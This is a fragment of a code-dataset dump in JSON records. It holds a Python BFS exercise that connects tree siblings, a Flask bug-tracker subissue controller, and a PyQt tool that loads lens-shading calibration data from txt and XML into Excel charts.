{"api_name": "matplotlib.pyplot", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 280, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 282, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 284, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 284, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 285, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 285, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 287, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 288, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 288, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 289, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 289, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 290, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 290, "usage_type": "name"}, {"api_name": "sxpid.SxPID.pid", "line_number": 301, "usage_type": "call"}, {"api_name": "sxpid.SxPID", "line_number": 301, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 344, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 344, "usage_type": "name"}]} {"seq_id": "7094102199", "text": "from __future__ import print_function\nfrom collections import deque\n\n\n# 把所有节点按照顺序连在一起\n\n\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right, self.next = None, None, None\n\n # tree traversal using 'next' pointer\n def print_tree(self):\n print(\"Traversal using 'next' pointer: \", end='')\n current = self\n while current:\n print(str(current.val) + \" \", end='')\n current = current.next\n\n\ndef connect_all_siblings(root):\n if not root:\n return\n\n queue = deque()\n queue.append(root)\n pre_node, cur_node = None, None\n while queue:\n cur_node = queue.popleft()\n\n if pre_node:\n pre_node.next = cur_node\n pre_node = cur_node\n\n if cur_node.left:\n queue.append(cur_node.left)\n if cur_node.right:\n queue.append(cur_node.right)\n\n return\n\n\ndef connect_all_siblings(root):\n res = []\n if root is None:\n return res\n\n queue = deque()\n queue.append(root)\n pre_node = None\n while queue:\n node = queue.popleft()\n if pre_node:\n pre_node.next = node\n pre_node = node\n\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n\n return\n\n\ndef main():\n root = TreeNode(12)\n root.left = TreeNode(7)\n root.right = TreeNode(1)\n root.left.left = TreeNode(9)\n root.right.left = TreeNode(10)\n root.right.right = TreeNode(5)\n connect_all_siblings(root)\n root.print_tree()\n\n\nmain()\n", "repo_name": "terrifyzhao/educative", "sub_path": "7_breadth_first_search/8_connect_all_siblings.py", "file_name": "8_connect_all_siblings.py", "file_ext": "py", "file_size_in_byte": 1600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.deque", "line_number": 26, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 49, "usage_type": "call"}]} {"seq_id": "73363398942", "text": "from flask import session\nfrom flask import request\n\nfrom helper import error\nfrom helper import write\n\nfrom controllers.controller import Controller\nfrom models.subissues import SubissuesModel\n\n\nclass Subissues(Controller):\n def __init__(self):\n super(Subissues, self).__init__()\n self._data = SubissuesModel()\n\n\n def get_subissues(self, issue_id):\n if not self.logged():\n return error(\"You not logged\")\n data = self._data.get_all_subissues(backlog_id=166, issue_id=issue_id)\n return write(data)\n\n\n def get_specific_subissue(self, issue_id, subissue_id):\n if not self.logged():\n return error(\"You not logged\")\n data = self._data.get_subissue_by_id(backlog_id=166, issue_id=issue_id, subissue_id=subissue_id)\n return write(data)\n\n\n def add_subissue(self, issue_id, param=None):\n if not self.logged():\n return error(\"You not logged\")\n new_subissue = dict(\n name = param.get(\"name\") if param.get(\"name\") else \"\",\n description = param.get(\"description\") if param.get(\"description\") else \"\",\n assign_to = param.get(\"assign_to\") if param.get(\"assign_to\") else \"\",\n kind = param.get(\"kind\") if param.get(\"kind\") else \"\",\n status = param.get(\"status\") if param.get(\"status\") else \"\",\n comments = param.get(\"comments\") if param.get(\"comments\") else list(),\n estimate = param.get(\"estimate\") if param.get(\"estimate\") else None\n )\n \n _subissue_id = self._data.create_subissue(166, issue_id, new_subissue)\n return self.get_specific_subissue(issue_id, _subissue_id)\n\n\n def fetch(self, **kwargs):\n cid = kwargs.get(\"cid\")\n subcid = kwargs.get(\"subcid\")\n param = kwargs.get(\"param\")\n method = kwargs.get(\"method\")\n\n if cid and subcid is None and method == \"GET\":\n \treturn self.get_subissues(cid)\n if cid and subcid and method == \"GET\":\n \treturn self.get_specific_subissue(cid, subcid)\n if cid and subcid is None and method == \"POST\":\n \treturn self.add_subissue(cid, param)\n '''if cid and method == \"PUT\":\n return self.update_specific_issue(param, cid)\n if cid and method == \"DELETE\":\n return self.delete_specific_issue(cid)\n\n\n return error(\"Invalid request\")\n '''\n", "repo_name": "kotzila/bugtracker", "sub_path": "application/controllers/subissues.py", "file_name": "subissues.py", "file_ext": "py", "file_size_in_byte": 2429, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "controllers.controller.Controller", "line_number": 11, "usage_type": "name"}, {"api_name": "models.subissues.SubissuesModel", "line_number": 14, "usage_type": "call"}, {"api_name": "helper.error", "line_number": 19, "usage_type": "call"}, {"api_name": "helper.write", "line_number": 21, "usage_type": "call"}, {"api_name": "helper.error", "line_number": 26, "usage_type": "call"}, {"api_name": "helper.write", "line_number": 28, "usage_type": "call"}, {"api_name": "helper.error", "line_number": 33, "usage_type": "call"}]} {"seq_id": "24229531229", "text": "from PyQt5.QtWidgets import QWidget, QApplication, QFileDialog, QStatusBar, QMessageBox, QLabel\nfrom PyQt5.QtCore import QThread, pyqtSignal, Qt\nfrom .UI import Ui_Form\nimport win32com.client as win32\nfrom myPackage.ParentWidget import ParentWidget\nfrom myPackage.ImageViewer import ImageViewer\nfrom myPackage.OpenExcelBtn import is_workbook_open, close_excel\nimport os\nimport numpy as np\nimport re\nimport xml.etree.ElementTree as ET\nimport time\nimport cv2\nimport openpyxl\nimport xlwings as xw\nimport pythoncom\n\n\nclass GenTxtThread(QThread):\n update_status_bar_signal = pyqtSignal(str)\n failed_signal = pyqtSignal(str)\n finish_signal = pyqtSignal(np.ndarray)\n txt_path = \"\"\n\n def __init__(self, excel_template_path):\n super().__init__()\n self.excel_template_path = excel_template_path\n\n def run(self):\n print(f\"Selected file: {self.txt_path}\")\n try:\n self.update_status_bar_signal.emit(\"Loading txt...\")\n gain_arr = self.load_txt(self.txt_path)\n self.finish_signal.emit(gain_arr)\n except Exception as error:\n print(error)\n self.update_status_bar_signal.emit(\"Failed to Load txt...\"+str(error))\n self.failed_signal.emit(\"Failed to Load txt...\\n\"+str(error))\n\n def load_txt(self, txt_path):\n gain_title, gain_arr = self.parse_txt(txt_path)\n assert len(gain_title) == 4\n for i in range(4):\n gain_arr[i] = gain_arr[i].flatten()\n\n gain_arr = np.array(gain_arr).T\n # print(gain_arr.shape)\n close_excel(self.excel_template_path)\n # open excel\n pythoncom.CoInitialize()\n excel = win32.Dispatch(\"Excel.Application\")\n pre_count = excel.Workbooks.Count\n excel.ScreenUpdating = False\n excel.DisplayAlerts = False\n excel.EnableEvents = False\n workbook = excel.Workbooks.Open(self.excel_template_path)\n workbook.Activate()\n sheet = workbook.Worksheets('goldenOTP_check')\n sheet.Range('C3:F223').Value = gain_arr\n \n sheet.Activate()\n workbook.Save()\n if excel.Workbooks.Count > pre_count: workbook.Close()\n if excel.Workbooks.Count == 0: excel.Quit()\n excel.ScreenUpdating = True\n excel.DisplayAlerts = True\n excel.EnableEvents = True\n \n return gain_arr\n \n def parse_txt(self, fanme):\n \n with open(fanme) as f:\n text = f.read() + '\\n\\n'\n\n pattern = r\"_gain:\\n(.*?)\\n\\n\"\n result = re.findall(pattern, text, re.DOTALL|re.MULTILINE)\n gain_arr = []\n for gain_txt in result:\n # Split the string by the newline character\n lines = gain_txt.split(\"\\n\")\n # Split each line by whitespace and convert to floats\n data = [[float(x) for x in line.split()] for line in lines if line.strip()]\n gain_arr.append(np.array(data))\n pattern = r\"\\b\\w+gain\\b\"\n gain_title = re.findall(pattern, text)\n \n return gain_title, gain_arr\n \nclass GenXmlThread(QThread):\n finish_signal = pyqtSignal(list) \n failed_signal = pyqtSignal(str)\n update_status_bar_signal = pyqtSignal(str)\n xml_excel_path = None\n filepath = \"\"\n excel_path = \"\"\n\n def __init__(self):\n super().__init__()\n\n def run(self):\n try:\n self.update_status_bar_signal.emit(\"Loading txt...\")\n print(f\"Selected file: {self.filepath}\")\n\n tree = ET.parse(self.filepath)\n root = tree.getroot()\n\n if 'lsc34' in root.tag:\n lsc_type = 'lsc34'\n elif 'lsc35' in root.tag:\n lsc_type = 'lsc35'\n else:\n raise ValueError('Unsupported LSC type in XML')\n\n control_method = root.find('.//control_method')\n aec_exp_control = control_method.find('aec_exp_control').text \n golden_data, data = self.find_lsc_data(root, lsc_type, aec_exp_control)\n\n localtime = time.localtime()\n clock = str(60*60*localtime[3] + 60*localtime[4] + localtime[5])\n \n self.xml_excel_path = os.path.join(os.getcwd(), f'LSC_checkTool_{localtime[0]}_{localtime[1]}_{localtime[2]}_{clock}.xlsm')\n\n\n wb = self.create_xls(self.excel_path)\n wb.active = 0\n wb.save(self.xml_excel_path)\n\n app = xw.App(visible=False)\n wb = xw.Book(self.xml_excel_path)\n macro_vba = wb.app.macro('CopySheetWithChart')\n\n for i, item in enumerate(data, start=2):\n if aec_exp_control == \"control_lux_idx\":\n print(f'region {str(i).rjust(3)}: '\n f'lux_idx_start: {str(item[\"lux_idx_start\"]).rjust(5)}, '\n f'lux_idx_end: {str(item[\"lux_idx_end\"]).rjust(5)}, '\n f'start: {str(item[\"cct_data\"][\"start\"]).rjust(5)}, '\n f'end: {str(item[\"cct_data\"][\"end\"]).rjust(5)}')\n sheet_name = f'lux_{item[\"lux_idx_start\"]}_{item[\"lux_idx_end\"]}_cct_{item[\"cct_data\"][\"start\"]}_{item[\"cct_data\"][\"end\"]}'\n else:\n print(f'region {str(i).rjust(3)}: '\n f'gain_start: {str(item[\"gain_start\"]).rjust(5)}, '\n f'gain_end: {str(item[\"gain_end\"]).rjust(5)}, '\n f'start: {str(item[\"cct_data\"][\"start\"]).rjust(5)}, '\n f'end: {str(item[\"cct_data\"][\"end\"]).rjust(5)}')\n sheet_name = f'gain_{item[\"gain_start\"]}_{item[\"gain_end\"]}_cct_{item[\"cct_data\"][\"start\"]}_{item[\"cct_data\"][\"end\"]}'\n macro_vba(sheet_name)\n self.update_status_bar_signal.emit(sheet_name)\n\n wb.sheets[0].activate()\n wb.save()\n app.quit()\n\n wb = openpyxl.load_workbook(self.xml_excel_path, read_only=False, keep_vba=True)\n for i, item in enumerate(data, start=2):\n wb.active = i\n ws = wb.active\n self.update_status_bar_signal.emit(ws.title)\n r_gain_values = item[\"cct_data\"][\"r_gain\"].split()\n gr_gain_values = item[\"cct_data\"][\"gr_gain\"].split()\n gb_gain_values = item[\"cct_data\"][\"gb_gain\"].split()\n b_gain_values = item[\"cct_data\"][\"b_gain\"].split()\n for j, r_gain in enumerate(r_gain_values, start=3):\n ws.cell(row=j, column=3).value = round(float(r_gain_values[j - 3]), 3)\n for j, gr_gain in enumerate(gr_gain_values, start=3):\n ws.cell(row=j, column=4).value = round(float(gr_gain_values[j - 3]), 3)\n for j, gb_gain in enumerate(gb_gain_values, start=3):\n ws.cell(row=j, column=5).value = round(float(gb_gain_values[j - 3]), 3)\n for j, b_gain in enumerate(b_gain_values, start=3):\n ws.cell(row=j, column=6).value = round(float(b_gain_values[j - 3]), 3)\n\n wb.active = 0\n ws = wb.active\n r_gain_values = golden_data[\"r_gain\"]\n gr_gain_values = golden_data[\"gr_gain\"]\n gb_gain_values = golden_data[\"gb_gain\"]\n b_gain_values = golden_data[\"b_gain\"]\n for j in range(3, 3 + len(r_gain_values)):\n ws.cell(row=j, column=3).value = r_gain_values[j - 3]\n for j in range(3, 3 + len(gr_gain_values)):\n ws.cell(row=j, column=4).value = gr_gain_values[j - 3]\n for j in range(3, 3 + len(gb_gain_values)):\n ws.cell(row=j, column=5).value = gb_gain_values[j - 3]\n for j in range(3, 3 + len(b_gain_values)):\n ws.cell(row=j, column=6).value = b_gain_values[j - 3]\n\n wb.save(self.xml_excel_path)\n\n self.update_status_bar_signal.emit(\"LSCcheck is ok!\")\n print(\"LSCcheck is ok!\")\n time.sleep(1)\n \n item_list = []\n if aec_exp_control == \"control_lux_idx\":\n for i, item in enumerate(data, start=2):\n item_name = f'lux_{item[\"lux_idx_start\"]}_{item[\"lux_idx_end\"]}_cct_{item[\"cct_data\"][\"start\"]}_{item[\"cct_data\"][\"end\"]}'\n item_list.append(item_name)\n else:\n for i, item in enumerate(data, start=2):\n item_name = f'lux_{item[\"gain_start\"]}_{item[\"gain_end\"]}_cct_{item[\"cct_data\"][\"start\"]}_{item[\"cct_data\"][\"end\"]}'\n item_list.append(item_name)\n item_list.append(\"LSC golden OTP(xml)\")\n self.finish_signal.emit(item_list)\n except Exception as error:\n print(error)\n self.update_status_bar_signal.emit(\"Failed to Load xml...\"+str(error))\n self.failed_signal.emit(\"Failed to Load xml...\\n\"+str(error))\n\n def create_xls(self, fn):\n wb = openpyxl.load_workbook(fn, read_only=False, keep_vba=True)\n wb.active = 0\n return wb\n \n def find_lsc_data(self, root, lsc_type, aec_exp_control):\n data = []\n golden_data = []\n \n lsc_golden_rgn_data = root.find(f'.//{lsc_type}_golden_rgn_data')\n r_gain_values = lsc_golden_rgn_data.find('r_gain_tab/r_gain').text\n r_gain_list = [float(value) for value in r_gain_values.split()]\n gr_gain_values = lsc_golden_rgn_data.find('gr_gain_tab/gr_gain').text\n gr_gain_list = [float(value) for value in gr_gain_values.split()]\n gb_gain_values = lsc_golden_rgn_data.find('gb_gain_tab/gb_gain').text\n gb_gain_list = [float(value) for value in gb_gain_values.split()]\n b_gain_values = lsc_golden_rgn_data.find('b_gain_tab/b_gain').text\n b_gain_list = [float(value) for value in b_gain_values.split()]\n \n golden_data = {\n \"r_gain\": r_gain_list,\n \"gr_gain\": gr_gain_list,\n \"gb_gain\": gb_gain_list,\n \"b_gain\": b_gain_list\n }\n \n if aec_exp_control == \"control_lux_idx\":\n for i, mod_lsc_aec_data in enumerate(root.findall(f'.//mod_{lsc_type}_aec_data')):\n aec_trigger = mod_lsc_aec_data.find('aec_trigger')\n start = aec_trigger.find('lux_idx_start').text\n end = aec_trigger.find('lux_idx_end').text\n \n for mod_lsc_cct_data in mod_lsc_aec_data.findall(f'.//mod_{lsc_type}_cct_data'):\n cct_trigger = mod_lsc_cct_data.find('cct_trigger')\n cct_start = cct_trigger.find('start').text\n cct_end = cct_trigger.find('end').text\n \n lsc_rgn_data = mod_lsc_cct_data.find(f'{lsc_type}_rgn_data')\n r_gain = lsc_rgn_data.find('r_gain_tab/r_gain').text\n gr_gain = lsc_rgn_data.find('gr_gain_tab/gr_gain').text\n gb_gain = lsc_rgn_data.find('gb_gain_tab/gb_gain').text\n b_gain = lsc_rgn_data.find('b_gain_tab/b_gain').text\n \n data.append({\n \"lux_idx_start\": start,\n \"lux_idx_end\": end,\n \"cct_data\": {\n \"start\": cct_start,\n \"end\": cct_end,\n \"r_gain\": r_gain,\n \"gr_gain\": gr_gain,\n \"gb_gain\": gb_gain,\n \"b_gain\": b_gain,\n }\n })\n else:\n for i, mod_lsc_aec_data in enumerate(root.findall(f'.//mod_{lsc_type}_aec_data')):\n aec_trigger = mod_lsc_aec_data.find('aec_trigger')\n start = aec_trigger.find('gain_start').text\n end = aec_trigger.find('gain_end').text\n \n for mod_lsc_cct_data in mod_lsc_aec_data.findall(f'.//mod_{lsc_type}_cct_data'):\n cct_trigger = mod_lsc_cct_data.find('cct_trigger')\n cct_start = cct_trigger.find('start').text\n cct_end = cct_trigger.find('end').text\n \n lsc_rgn_data = mod_lsc_cct_data.find(f'{lsc_type}_rgn_data')\n r_gain = lsc_rgn_data.find('r_gain_tab/r_gain').text\n gr_gain = lsc_rgn_data.find('gr_gain_tab/gr_gain').text\n gb_gain = lsc_rgn_data.find('gb_gain_tab/gb_gain').text\n b_gain = lsc_rgn_data.find('b_gain_tab/b_gain').text\n \n data.append({\n \"gain_start\": start,\n \"gain_end\": end,\n \"cct_data\": {\n \"start\": cct_start,\n \"end\": cct_end,\n \"r_gain\": r_gain,\n \"gr_gain\": gr_gain,\n \"gb_gain\": gb_gain,\n \"b_gain\": b_gain,\n }\n })\n \n return golden_data, data\n\nclass SetChartWorkerThread(QThread):\n update_status_bar_signal = pyqtSignal(str)\n set_img_signal = pyqtSignal(str, int)\n update_grid_signal = pyqtSignal(list)\n failed_signal = pyqtSignal(str)\n\n excel_path = \"\"\n sheet_name = \"\"\n\n def __init__(self):\n super().__init__()\n\n def run(self):\n try:\n self.update_status_bar_signal.emit(\"load 資料中，請稍後\") \n excel = win32.Dispatch(\"Excel.Application\")\n excel.DisplayAlerts = False\n workbook = excel.Workbooks.Open(self.excel_path)\n sheet = workbook.Worksheets(self.sheet_name)\n\n # Create the output folder if it doesn't exist\n output_folder = \"charts\"\n os.makedirs(output_folder, exist_ok=True)\n # Activate the sheet\n sheet.Activate()\n for i, chart in enumerate(sheet.ChartObjects()):\n # print(chart.Chart.ChartTitle.Text)\n # 要Activate才能存!!!\n chart.Activate()\n chart.Width = 400 \n chart.Height = 250 \n # Export each chart as .png\n chart.Chart.Export(os.path.join(os.getcwd(), output_folder, chart.Chart.ChartTitle.Text)+\".png\")\n self.set_img_signal.emit(\"charts/\"+chart.Chart.ChartTitle.Text+\".png\", i)\n # img = cv2.imdecode( np.fromfile( file = \"charts/\"+chart.Chart.ChartTitle.Text+\".png\", dtype = np.uint8 ), cv2.IMREAD_COLOR )\n # self.img_viewer[i].setPhoto(img)\n\n # check NG\n # node = [(4, 7), (4, 23), (16, 7), (16, 23)]\n node = [(2, 9), (2, 25), (14, 9), (14, 25)]\n row_shift = -14\n data = []\n for i in range(4):\n row_shift += 14\n d = []\n for j in range(4):\n r1, c1 = node[j]\n # r2, c2 = node[(j+1)%4]\n Cells1 = str(round(sheet.Cells(r1+row_shift, c1).Value, 3))\n d.append(Cells1)\n # print(Cells1)\n # Cells2 = float(sheet.Cells(r2+row_shift, c2).Value)\n # if(abs(Cells1 - Cells2) > 0.2):\n # self.info_signal.emit(\"NG\")\n # self.img_viewer[i].text = \"NG\"\n # self.img_viewer[i].setText()\n # break\n data.append(d)\n\n sheet.Activate()\n workbook.Save()\n workbook.Close()\n # 關閉當前Excel實例\n if excel.Workbooks.Count == 0:\n excel.Quit()\n excel.DisplayAlerts = True\n\n self.update_grid_signal.emit(data)\n except Exception as error:\n print(error)\n self.update_status_bar_signal.emit(\"Failed to Load txt...\"+str(error))\n self.failed_signal.emit(str(error))\n \n\nclass MyWidget(ParentWidget):\n def __init__(self):\n super().__init__() # in python3, super(Class, self).xxx = super().xxx\n self.ui = Ui_Form()\n self.ui.setupUi(self)\n self.setupUi()\n\n self.excel_template_path = os.path.abspath(\"QC/AE/Analysis/LSC/LSC_checkTool.xlsm\")\n self.xml_worker = GenXmlThread()\n self.txt_worker = GenTxtThread(self.excel_template_path)\n self.set_chart_worker = SetChartWorkerThread()\n\n self.controller()\n \n def setupUi(self):\n # Create the status bar\n self.statusBar = QStatusBar()\n self.ui.verticalLayout_3.addWidget(self.statusBar)\n\n self.img_viewer = []\n for i in range(4):\n self.img_viewer.append(ImageViewer())\n self.ui.img_grid.addWidget(self.img_viewer[i], i//2, i%2)\n \n def controller(self):\n self.ui.load_and_export_txt_btn.clicked.connect(self.load_txt)\n self.ui.load_xml_btn.clicked.connect(self.load_xml)\n self.ui.open_excel_btn.clicked.connect(self.open_excel)\n self.ui.sheet_selector.currentIndexChanged[str].connect(self.set_chart)\n\n self.xml_worker.finish_signal.connect(self.after_load_xml)\n self.xml_worker.failed_signal.connect(self.failed)\n self.xml_worker.update_status_bar_signal.connect(self.update_status_bar)\n\n self.txt_worker.finish_signal.connect(self.after_load_txt)\n self.txt_worker.update_status_bar_signal.connect(self.update_status_bar)\n self.txt_worker.failed_signal.connect(self.failed)\n\n self.set_chart_worker.update_grid_signal.connect(self.update_grid)\n self.set_chart_worker.update_status_bar_signal.connect(self.update_status_bar)\n self.set_chart_worker.failed_signal.connect(self.failed)\n self.set_chart_worker.set_img_signal.connect(self.set_img_viewer)\n\n def update_status_bar(self, text):\n self.statusBar.showMessage(text, 3000)\n\n def failed(self, text=\"Failed\"):\n self.set_all_enable(True)\n QMessageBox.about(self, \"Failed\", text)\n \n def load_txt(self):\n filepath, filetype = QFileDialog.getOpenFileName(self,\n \"Open file\",\n self.get_path(\"QC_LSC_filefolder\"), # start path\n '*.txt')\n\n if filepath == '':\n return\n filefolder = '/'.join(filepath.split('/')[:-1])\n self.set_path(\"QC_LSC_filefolder\", filefolder)\n self.txt_worker.txt_path = filepath\n\n self.set_all_enable(False)\n self.txt_worker.start()\n\n def after_load_txt(self, gain_arr=None):\n index = self.ui.sheet_selector.findText(\"LSC golden OTP(txt)\")\n if index < 0:\n self.ui.sheet_selector.addItem(\"LSC golden OTP(txt)\")\n \n if self.ui.sheet_selector.currentText() == \"LSC golden OTP(txt)\":\n self.set_chart(\"LSC golden OTP(txt)\")\n else:\n self.ui.sheet_selector.setCurrentText(\"LSC golden OTP(txt)\")\n self.export_txt(gain_arr)\n self.set_all_enable(True)\n\n def export_txt(self, gain_arr=None):\n filepath, filetype=QFileDialog.getSaveFileName(self,'save the transposed matrix',self.get_path(\"QC_LSC_filefolder\")+\"/goldenOTP_check\",\"*.txt\")\n if filepath == '': return\n\n def formater(num):\n return \"{:6d}\".format(int(num))\n with open(filepath, 'w', newline='') as f:\n for row in gain_arr:\n f.write(''.join(map(formater, row)))\n f.write('\\n')\n \n self.update_status_bar(\"Load txt successfully\")\n \n\n def load_xml(self):\n # Open file dialog\n filepath, filetype = QFileDialog.getOpenFileName(self,\n \"Open file\",\n self.get_path(\"QC_LSC_filefolder\"), # start path\n '*.xml')\n\n if filepath == '':\n return\n \n filefolder = '/'.join(filepath.split('/')[:-1])\n self.set_path(\"QC_LSC_filefolder\", filefolder)\n\n self.set_all_enable(False)\n self.xml_worker.excel_path = self.excel_template_path\n self.xml_worker.filepath = filepath\n self.xml_worker.start()\n\n def after_load_xml(self, item_name):\n index = self.ui.sheet_selector.findText(\"LSC golden OTP(txt)\")\n self.ui.sheet_selector.clear()\n if index >= 0:\n self.ui.sheet_selector.addItem(\"LSC golden OTP(txt)\")\n\n self.ui.sheet_selector.addItems(item_name)\n self.ui.sheet_selector.setCurrentText(item_name[0])\n self.set_all_enable(True)\n\n def set_chart(self, text):\n if text == \"\": return\n print(\"set_chart\", text)\n if text == \"LSC golden OTP(txt)\":\n self.set_chart_worker.excel_path = self.excel_template_path\n self.set_chart_worker.sheet_name = \"goldenOTP_check\"\n else:\n if self.xml_worker.xml_excel_path == None: return\n if text == \"LSC golden OTP(xml)\": text = \"goldenOTP_check\"\n self.set_chart_worker.excel_path = self.xml_worker.xml_excel_path\n self.set_chart_worker.sheet_name = text\n self.set_all_enable(False)\n self.set_chart_worker.start()\n\n def after_set_chart(self):\n self.set_all_enable(True)\n\n \n def set_all_enable(self, enable):\n self.set_btn_enable(self.ui.load_and_export_txt_btn, enable)\n self.set_btn_enable(self.ui.load_xml_btn, enable)\n self.set_btn_enable(self.ui.open_excel_btn, enable)\n self.ui.sheet_selector.setEnabled(enable)\n\n def set_img_viewer(self, path, i):\n img = cv2.imdecode( np.fromfile( file = path, dtype = np.uint8 ), cv2.IMREAD_COLOR )\n self.img_viewer[i].setPhoto(img)\n\n def update_grid(self, data):\n # Function to remove a widget from the grid layout by row and column\n def remove_widget(row, col):\n # Retrieve the widget at the specified row and column\n widget_item = self.ui.corner_grid.itemAtPosition(row, col)\n if widget_item:\n widget = widget_item.widget()\n \n # Remove the widget from the layout\n self.ui.corner_grid.removeWidget(widget)\n \n # Delete the widget\n widget.deleteLater()\n\n # check NG\n for i in range(4):\n for j in range(4):\n r, c = i*2+j//2+i, 1+j%2\n # remove_widget(r, c)\n widget_item = self.ui.corner_grid.itemAtPosition(r, c)\n if widget_item:\n widget_item.widget().setText(data[i][j])\n # Cells2 = float(sheet.Cells(r2+row_shift, c2).Value)\n \n # if(abs(Cells1 - Cells2) > 0.2):\n # self.info_signal.emit(\"NG\")\n # self.img_viewer[i].text = \"NG\"\n # self.img_viewer[i].setText()\n # break\n self.statusBar.showMessage(\"Load data successfully!\", 3000)\n self.set_all_enable(True)\n\n def open_excel(self):\n if self.xml_worker.xml_excel_path == None:\n QMessageBox.about(self, \"請先load xml\", \"請先load xml，才能打開所產生的excel\")\n return\n if is_workbook_open(self.xml_worker.xml_excel_path):\n QMessageBox.about(self, \"about\", \"The Excel file is already open.\")\n print(\"Workbook is already open.\")\n return\n self.statusBar.showMessage(\"開啟中，請稍後\", 3000)\n app = xw.App(visible=True)\n app.books[0].close()\n # Maximize the Excel window\n app.api.WindowState = xw.constants.WindowState.xlMaximized\n if self.ui.sheet_selector.currentText() == \"LSC golden OTP(txt)\":\n wb = app.books.open(self.excel_template_path)\n else:\n wb = app.books.open(self.xml_worker.xml_excel_path)\n # Set the Excel window as the foreground window\n wb.app.activate(steal_focus=True)\n \nif __name__ == \"__main__\":\n import sys\n app = QApplication(sys.argv)\n Form = MyWidget()\n Form.show()\n sys.exit(app.exec_())", "repo_name": "YuTing-Fang1999/FIH-tool", "sub_path": "QC/AE/Analysis/LSC/MyWidget.py", "file_name": "MyWidget.py", "file_ext": "py", "file_size_in_byte": 25776, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtCore.QThread", "line_number": 19, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 21, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "myPackage.OpenExcelBtn.close_excel", "line_number": 48, "usage_type": "call"}, {"api_name": "pythoncom.CoInitialize", "line_number": 50, "usage_type": "call"}, {"api_name": "win32com.client.Dispatch", "line_number": 51, "usage_type": "call"}, {"api_name": "win32com.client", "line_number": 51, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 77, "usage_type": "call"}, {"api_name": "re.DOTALL", "line_number": 77, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 86, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 90, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 91, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 93, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 106, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 106, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 123, "usage_type": "call"}, {"api_name": "xlwings.App", "line_number": 130, "usage_type": "call"}, {"api_name": "xlwings.Book", "line_number": 131, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 156, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 193, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 298, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 299, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 300, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 301, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 302, "usage_type": "call"}, {"api_name": "win32com.client.Dispatch", "line_number": 313, "usage_type": "call"}, {"api_name": "win32com.client", "line_number": 313, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 330, "usage_type": "call"}, {"api_name": "os.path", "line_number": 330, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 330, "usage_type": "call"}, {"api_name": "myPackage.ParentWidget.ParentWidget", "line_number": 372, "usage_type": "name"}, {"api_name": "UI.Ui_Form", "line_number": 375, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 379, "usage_type": "call"}, 